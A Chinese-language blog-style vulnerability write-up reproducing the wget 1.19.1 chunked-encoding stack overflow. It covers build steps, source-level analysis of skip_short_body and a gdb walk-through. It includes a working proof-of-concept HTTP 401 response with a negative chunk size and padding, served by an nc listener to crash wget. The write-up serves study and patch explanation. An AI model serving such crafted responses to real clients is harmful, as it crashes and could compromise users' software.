前言 参考网上的一篇文章教程,复现了一下 wget 1.19.1 组件版本的的栈溢出漏洞。漏洞的成因是由于对响应包处理不当导致的整数溢出,进而导致栈溢出。
环境准备 1 2 3 sudo apt-get install libneon27-gnutls-dev wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz tar zxvf wget-1.19.1.tar.gz
编译 1 2 3 cd wget-1.19.1/ mkdir build/ & ./configure --prefix=$PWD/build/ make -j8
安装 安装好的二进制文件是存放在 --prefix
变量值的 bin/ 目录下:
1 2 sudo make install cd build/
漏洞触发 该版本漏洞是由于 wget 组件在处理 401 状态码的数据响应包时,没有对读取的包做正负检查,导致的整数栈溢出。我们先触发一下这个漏洞。
1 . 建立 poc 文件
1 2 3 4 5 6 7 8 9 10 ➜ wget_sof cat poc HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFF000 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0
2 . nc 监听端口
1 ➜ wget_sof nc -lp 12667 < poc
3 . wget 触发漏洞
可以看到,wget 在 12667 端口处触发了栈溢出漏洞,导致程序服务 crach:
漏洞分析 接着对漏洞点进行静态和动态分析。
静态分析 前文说了漏洞点是由于对 401 数据响应包的处理不当导致的,准确的说是由于 wget 在处理响应包时,对每个包进行分块之后,错误的将一个负数与整数进行比较,得到的负数的值作为内存复制函数的 len。
首先搜索 skip_short_body
函数,进入 src/http.c
源代码中进行分析:
1 2 3 4 5 6 ➜ wget-1.19.1 grep -rnl "skip_short_body" * build/bin/wget ChangeLog src/http.c src/http.o src/wget
跟踪到 src/http.c
文件的 3493 行,在这里会判断 wget 请求返回回来的 http 状态码,当状态码是 401(未认证)时会触发下面的 if 判断:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (statcode == HTTP_STATUS_UNAUTHORIZED) { /* Authorization is required. */ uerr_t auth_err = RETROK; bool retry; if(warc_enabled){ ...... # 判断是否 content-type 为 WARC }else { /* Since WARC is disabled, we are not interested in the response body. */ if (keep_alive && !head_only && skip_short_body (sock, contlen, chunked_transfer_encoding)) CLOSE_FINISH (sock); else CLOSE_INVALIDATE (sock); } }
HTTP_STATUS_UNAUTHORIZED
的定义:
1 #define HTTP_STATUS_UNAUTHORIZED 401
因为这里的 content-type 不是 warc,所以会进入 else 分支,以此判断 keep_alive
、head_only
,接着调用 skip_short_body
这个函数,这里传入了三个参数,第一个参数 sock 的描述符,后面两个参数不重要。
跟进函数 skip_short_body
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 static bool skip_short_body (int fd, wgint contlen, bool chunked) { enum { SKIP_SIZE = 512, /* size of the download buffer */ SKIP_THRESHOLD = 4096 /* the largest size we read */ }; wgint remaining_chunk_size = 0; char dlbuf[SKIP_SIZE + 1]; dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */ /* If the body is too large, it makes more sense to simply close the connection than to try to read the body. */ if (contlen > SKIP_THRESHOLD) return false; while (contlen > 0 || chunked) { int ret; if (chunked) { if (remaining_chunk_size == 0) { char *line = fd_read_line (fd); char *endl; if (line == NULL) break; remaining_chunk_size = strtol (line, &endl, 16); xfree (line); if (remaining_chunk_size == 0) { line = fd_read_line (fd); xfree (line); break; } } contlen = MIN (remaining_chunk_size, SKIP_SIZE); } DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen))); ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
首先函数通过 sock 获取到 line 的指针: char *line = fd_read_line (fd);
,也就是 http 响应包的响应体的指针 。
接着调用 strtol
函数,将 line 变量指向的值转换为整数值(remaining_chunk_size
变量),接着通过 MIN (remaining_chunk_size, SKIP_SIZE);
得到真正的响应体的长度 contlen。
MIN 的定义,取长度小的作为 contlen 的值:
1 # define MIN(a,b) ((a) < (b) ? (a) : (b))
之后调用了 fd_read
函数,将响应体的内容复制到栈中,长度即为 contlen 变量的值。
fd_read
函数封装了 sock_read
函数
1 2 3 4 5 6 7 8 9 10 11 12 int fd_read (int fd, char *buf, int bufsize, double timeout) { struct transport_info *info; LAZY_RETRIEVE_INFO (info); if (!poll_internal (fd, info, WAIT_FOR_READ, timeout)) return -1; if (info && info->imp->reader) return info->imp->reader (fd, buf, bufsize, info->ctx); else return sock_read (fd, buf, bufsize); }
sock_read
函数调用了 read
函数,在这里触发了栈溢出:
1 2 3 4 5 6 7 8 9 static int sock_read (int fd, char *buf, int bufsize) { int res; do res = read (fd, buf, bufsize); while (res == -1 && errno == EINTR); return res; }
动态分析 使用 gdb 进行动态调试:
1 2 3 gdb ./wget set args 127.0.0.1:12667 b skip_short_body
将断点下在 skip_short_body
函数入口,在执行完 fd_read_line
函数后,观察寄存器,返回值 line 的值为 -0xFFFFF000
的指针:
往下,接着会调用 strtol
函数,第一个为 line 的值,第二个参数为栈上的变量,第三个参数为长度:
执行完 strtol
函数之后,会将返回值赋值给 remaining_chunk_size
变量,此时这个变量的值为 0xffffffff00001000
:
1 2 pwndbg> i reg rax rax 0xffffffff00001000 -4294963200
通过代码 contlen = MIN (remaining_chunk_size, SKIP_SIZE);
进行比较,得到的 contlen
变量的值为 0x1000。
而 SKIP_SIZE
的定义:
这里将一个负数与整数相比较,返回的值就是 0x1000。
接着调用到 fd_read
函数,这个函数的第三个参数就是 contlen 的值,大小为 0x1000。
跟进函数,fd_read
里面封装了 sock_read
函数:
跟进之后发现,这个函数里调用了 read 函数,将 sock 通道里的内容(也就是 AAAA…)复制到栈空间上:
因为这个值太大,导致了栈溢出。填充后不会使得当前 fd_read
函数崩溃,而会溢出到了 skip_short_body
这个函数的栈空间,覆盖了栈的返回地址 ,导致程序崩溃:
漏洞补丁 更新的补丁将 strtol
函数的返回值 remaining_chunk_size
变量的值进行是否为负数的判断,如果是负数的话就之后 return False
从而防止整数的溢出。
参考文章 https://mp.weixin.qq.com/s/3rBfUnRiFoe-0w2C9JqwZw